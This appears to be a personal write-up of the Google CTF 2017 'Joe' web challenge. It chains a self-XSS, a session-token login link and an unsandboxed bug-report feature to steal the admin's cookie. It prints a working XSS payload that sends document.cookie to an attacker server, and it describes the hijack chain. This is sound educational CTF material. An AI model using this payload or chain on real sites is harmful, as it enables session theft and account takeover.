I took part in the Google 2017 Capture The Flag qualifiers and was lucky enough to be a part of the Hackmethod team this year. These type of Capture the Flags aren’t a part of your typical shooter game or paintball matches but involve a group of challenges in which individuals or a team battle for the rankings, by taking advantage of various hacking methodologies, reverse engineering, cryptography knowledge and sometimes, even play in a live attack-defend the systems scenario.
So being sort of experienced in web applications I decided to take a look at the challenges google had to offer me, 6 hours into the challenge and still nothing, and surprisingly not many people had solved the challenges either, however the admins announced that “Joe” was back online and so I decided to try it, the first flaw that I found within minutes of accessing the website was the self-xss in the name parameter of the bot’s name.
XSS is a vulnerability in web applications that allows an attacker to execute their own javascript code which might or might not be malicious on another persons browser, self-xss is a form of XSS in which the payload (command to be executed) requires user interaction to execute, this vulnerability is not of much value in its raw form unless you decide to chain it with another bug.
This meant I could execute my own specially crafted javascript code on the person who viewed the bot with my configuration.
So here is what the XSS looked like on Google’s Joe challenge.
Well, this wasn’t enough, I still had to get admin access so I could get the flag, I spent the next couple of minutes just surveying the application and making notes.
If we take a close look at the hint google gives us:
“steal the cookies of the administrator”
This was enough a hint for me to get started, XSS vulnerabilities are infamous for being able to steal cookies, which results in taking over sessions, which in turn results in account takeovers.
Hungry yet? Not those cookies.
Cookies are a piece of information stored and used by the web browser to make browsing more faster, these are a hackers best friend because they are mostly used to store a users details so the next time he visits the application he does not require to authenticate himself.
So its clear we have to “steal” the cookies and not modify the one given to us (I had already tried decoding it several times and playing with the different strings to no avail) and we are going to use XSS to do that (I was pretty sure that XSS vulnerability wasn’t just sitting there without a purpose).
Practically, we would setup a webserver with a cookie stealer script and grab the cookies that way, the XSS vulnerability will aid us in achieving that.
Lets clear your doubts before we continue though.
Cookies don’t cross domains, we can’t just setup a script on our site and expect it to log the cookie of the admin when he vists that page because that cookie corresponds to another site, this is where XSS comes in.
With a little bit of coding, we have this script ready to steal some cookies via XSS (Remember, hacking is not about coding, its about breaking the code, so instead of focusing on how we code it, we must focus on the application methodology)
<img src=x onerror=this.src='http://myserver/?c='+document.cookie>How can we make the admin actually execute this?
Lets take a few of the notes I made when surveying the application:
The login flow of the website has an interesting URL:
Not very pleasing to the eye, is it?
Well, what this link basically is, its a link that when anyone opens they shall be logged into our account without any authentication required.
Now lets gather our bearings, we had found an XSS vulnerability stored in the name parameter. Well this name parameter is stored in our account session and when anyone opens our account the code shall execute, make sense yet?
We can use this link to execute the XSS and get the cookie! all we need to do is set the name of the bot to our cookie stealing xss payload and send this link over to the admin
Hangon.
How do we send it do the admin?
Well, this is where proper inspection or reconnaissance as we call it comes in handy, if we take a look at the notes I made when surveying the site:
We are able to send the admin a link of our choice to report bugs in the site (Another vulnerability, we are able to send any link and the admin opens it without any sandboxing)
Well when I was initially exploiting the app, I just simply sent a malicious link with a beef hook to the admin (a link which will allow us to takeover the admin’s browser) and then grab his cookies, but I had troubles in making the session persistent as the link was closed after it was loaded, I know that the challenge is possible to pull out this way but I didn’t really have enough time to investigate.
Back to our findings, all we have to do now is send the link with our ID token to the administrator and when he opens it we have the cookie with the ‘FLAG’ parameter set!
So while I was all pumped and almost close to getting the flag that the web interface tells us that link is too long
Touché, Google.
However no worries, we can simply get by that by shortening that URL, I did it with bit.ly and sent the link over (Here we are making use of another bug that we are able to send the admin and he will open it without any sandboxing), and I sent over the link after shortening it
After I took a look at my cookie stealer script logs, I finally found the cookie, and the flag was clearly exposed in it!
flag=CTF{h1-j03-c4n-1-h4v3-4-c00k13-plz!?!}; session="eyJ1c2VyX25hbWUiOiJWaXNod2EiLCJ1c2VyX2lkIjoiMTE3MzY4OTcxMDkyMjc1NTYwNTA5IiwidGFsa19zdGF0ZSI6MH0\075|1497831329|d3d9fa79190d5c4710ca86f6a7693ee0afbb22dd"
Boom, there goes Joe. Thanks cookie monster for helping us steal the cookies.
TL;DR — Technical
The chaining of a few vulnerabilities in the web application some of which were blind XSS and leakage of the user’s session ID token in a url helped us to craft a XSS payload helping us to steal the cookie of the admin by making him visit the link in which our session token is exposed via the “report bug” functionality (which happened to accept any URL regardless of domain and open it without sandboxing), leading us to successfully steal the admins cookie in which the “FLAG” was hard-coded into.
